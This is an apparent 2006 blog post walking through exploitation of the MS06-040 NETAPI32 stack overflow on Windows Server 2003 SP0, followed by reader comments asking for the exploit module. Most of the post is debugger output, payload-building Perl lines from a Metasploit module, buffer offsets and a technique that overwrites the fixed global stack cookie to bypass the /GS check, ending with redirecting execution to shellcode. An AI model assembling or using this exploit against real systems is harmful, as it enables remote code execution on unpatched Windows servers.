When Kernel Crash : MS06-040 Windows Server 2003 SP0 Target
As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0.
First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this:
[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ],
change to
[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ],
add this code:
$shellcode = “\x42” x length($shellcode);
above the code line:
my $path
replace the code:
Pex::Text::AlphaNumText(number)
with
(“\x41” x number)
The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes.
kd> .exr 00E0F1F8
ExceptionAddress: 77bd4d33 (msvcrt!wcscpy+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
kd> .cxr 00E0F214
eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
msvcrt!wcscpy+0xb:
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=????
The exception occurs at the address 0x77bd4d33 (wcscpy+0xb) – attemp to write to the address 0x41414141. I also view the stack:
kd> dd esp00e0f4e0 71c44b7e 41414141 00e0f4f8 00000000
00e0f4f0 0016ded8 0011d878 0100d8d2 77da7417
00e0f500 42421000 42424242 42424242 42424242
00e0f510 42424242 42424242 42424242 42424242
00e0f520 42424242 42424242 42424242 42424242
00e0f530 42424242 42424242 42424242 42424242
00e0f540 42424242 42424242 42424242 42424242
00e0f550 42424242 42424242 42424242 42424242
kd> dd ebp
00e0f910 41414141 41414141 41414141 aaaaaaaa
00e0f920 41414141 41414141 aaaaaaaa 41414141
00e0f930 41414141 41414141 41414141 41414141
00e0f940 41414141 41414141 41414141 00000000
00e0f950 0011d87c 00000000 00e0f988 77c52360
00e0f960 0011d590 0011d5a0 0016ded8 00000061
00e0f970 0011d878 0011d87c 00000000 02020202
00e0f980 00000007 000efc9c 00e0fd64 77ce51d0
kd> kb
ChildEBP RetAddr Args to Child
00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy+0xb
00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName+0x12c
Now the address 0x41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable $path.
eax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
ntdll!KiUserExceptionDispatcher+0x4:
001b:77f4526b 8b1c24 mov ebx,dword ptr [esp]
After the instruction at the address 0x77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0x77bd4d36 “inc ecx”. This means that the address 0x02080401 is not writeable.
0 e 77bd4d33 0001 (0001) "j @ecx = 01590101 '';'gc'"
kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e8d8eb ebx=77bd4cfe ecx=01590101 edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:01590101=0000
kd> u
001b:77bd4d33 668901 mov word ptr [ecx],ax
001b:77bd4d36 41 inc ecx
001b:77bd4d37 41 inc ecx
001b:77bd4d38 42 inc edx
001b:77bd4d39 42 inc edx
001b:77bd4d3a 6685c0 test ax,ax
001b:77bd4d3d 75f1 jne 77bd4d30
001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]
kd> p
001b:77bd4d36 41 inc ecx
Yeah, 0x01590101 is writeable memory. Everything seems OK, it return from msvcrt!wcscpy() to NETAPI32!CanonicalizePathName().
msvcrt!wcscpy+0x1b:
001b:77bd4d43 c3 ret
kd> p
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
kd> u
NETAPI32!CanonicalizePathName+0x12c:
001b:71c44b7e 59 pop ecx
001b:71c44b7f 59 pop ecx
001b:71c44b80 33c0 xor eax,eax
001b:71c44b82 8b4dfc mov ecx,dword ptr [ebp-4]
001b:71c44b85 5f pop edi
001b:71c44b86 5e pop esi
001b:71c44b87 5b pop ebx
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
001b:71c44b8d c9 leave
001b:71c44b8e c21400 ret 14h
Set of instructions are executed like I describe in the previous post, except this line:
NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
When this function is called, everything is disappear. The instruction “leave” at the address 0x71c44b8d is not called. As its name imply, this is the stack-based buffer overflow protection is Windows Server 2003 SP0. The function looks like this:
kd> u 71c414f6
NETAPI32!__security_check_cookie:
71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)]
71c414fc 0f8593060100 jne NETAPI32!__security_check_cookie+0x9 (71c51b95)
71c41502 c3 ret
This function will compare ecx value with the value that stored at 0x71c8c1ec – random cookie. The ecx value comes from the instruction at address 0x71c44b82 “mov ecx, dword ptr [ebp-4]” – the cookie that stored on the stack to cross check with the valid one. If ecx value match the valid cookie, the flow of execution will continue, if not it will jump to the address 0x71c51b95:
NETAPI32!__security_check_cookie+0x9:
71c51b95 e97d4e0000 jmp NETAPI32!__report_gsfailure (71c56a17)
it jumps to function NETAPI32!__report_gsfailure(). End up this !!!
- I can write to any memory location that I want – Sure, it has to be writable memory location (1)
- I can modified the ecx value – cookie stored on stack (2)
- I can write to the address that store the valid cookie. This address has to be writeable and is a fixed address – for a reliable exploit (3)
- I can control ecx value (4)
Because the condition (2) is true, the condition (4) is also true because they are equivalent. For the condition (3), it will be true if the address that store the valid cookie, 0x71c8c1ec, is writable and is a fixed location.
After debug several times I found that this address is a fixed address inside NETAPI32 dll. Wow !!! my theory will become true if this address is writable. I haven’t tested but I quite sure that this memory location is writable because the cookie is generated at runtime and the process must have the write permission on it. If the process there is no write permissions, the valid cookie cannot be saved.
$shellcode = “\xcc” x length($shellcode)
my $path = $shellcode.
(“\x41” x ($target->[1] – length($shellcode))).
(“\x49” x 52).
(“\x43” x 40).
(“\x00\x00”);
…
kd> bp 77bd4d33 "j @ecx = 71c8c1ec '';'gc'"
kd> g
001b:77bd4d33 668901 mov word ptr [ecx],ax
kd> r
eax=00e84242 ebx=77bd4cfe ecx=71c8c1ec edx=00e8f4f8 esi=00000000 edi=77bd4e32
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:71c8c1ec=e64e
kd> p
001b:77bd4d36 41 inc ecx
kd> dd 71c8c1ec
71c8c1ec bb404242 00000000 00000000 00000000
71c8c1fc 00000000 000926e0 ffffffff 00000000
71c8c20c 00000000 00000000 00000000 71c8c218
71c8c21c 71c8c218 00000000 00000000 00000000
71c8c22c 00000000 00000000 00000000 00000000
71c8c23c 00000007 00000001 00000000 00000000
71c8c24c 00000000 00000000 00000000 00000000
71c8c25c 00000000 00092780 ffffffff 00000000
there is no error occur and the first 2 bytes of 0x71c8c1ec is overwrite to 0x4242 value. I let windbg run until it write all of the shellcode into 0x71c8c1ec – to see whether or not it allow to overwite memory location outside 0x71c8c1ec. I view the memory location:
kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242
Yeah !!! we can write our shellcode into the address 0x71c8c1ec - we can control the valid cookie. I let windbg run until it reach at the instruction address 0x71c44b8 – call the security cookie checking function().
kd> reax=00000000 ebx=000e9a70 ecx=49494949 edx=00e0f94e esi=000e7bc0 edi=00000000
eip=71c44b88 esp=00e0f4f8 ebp=00e0f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:71c44b88 e869c9ffff call 71c414f6
Our ecx value is 0x49494949 before compare with the value at the address 0x71c8c1ec. It’s a simple work to find the offset of this – it’s the 66th bytes from that last of $path variable. I change these bytes to “\x42” and then run the exploit again:
kd> r
eax=00000000 ebx=00106bc0 ecx=42424242 edx=00e8f94e esi=000e3670 edi=00000000
eip=71c44b88 esp=00e8f4f8 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
NETAPI32!CanonicalizePathName+0x136:
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)
kd> dd 71c8c1ec
71c8c1ec 42424242 42424242 42424242 42424242
71c8c1fc 42424242 42424242 42424242 42424242
71c8c20c 42424242 42424242 42424242 42424242
71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242
kd> p
NETAPI32!CanonicalizePathName+0x13b:
001b:71c44b8d c9 leave
kd> p
NETAPI32!CanonicalizePathName+0x13c:
001b:71c44b8e c21400 ret 14h
kd> p
001b:49494949 ?? ???
At this time ecx value is matched, the “leave” and “ret” instruction are executed. This results in the flow of execution transfer 0x49494949 – I win ^0^. Finding the offset of 0x49494949 is not the hard part. I change 0x49494949 to 0x71c8c1ec – address of our shellcode – End Game…
3 Comments:
awesome blog you have here! i'll definately be reading frequently!
By Anonymous, at September 14, 2006 2:06 AM
any chance u could make the .pm file for metaexploit? i tried to do with your instruccitons but couldnt make it work
By Anonymous, at September 15, 2006 1:42 AM
Can u send me source 4 this article?
By Anonymous, at September 20, 2006 2:24 PM
Post a Comment
<< Home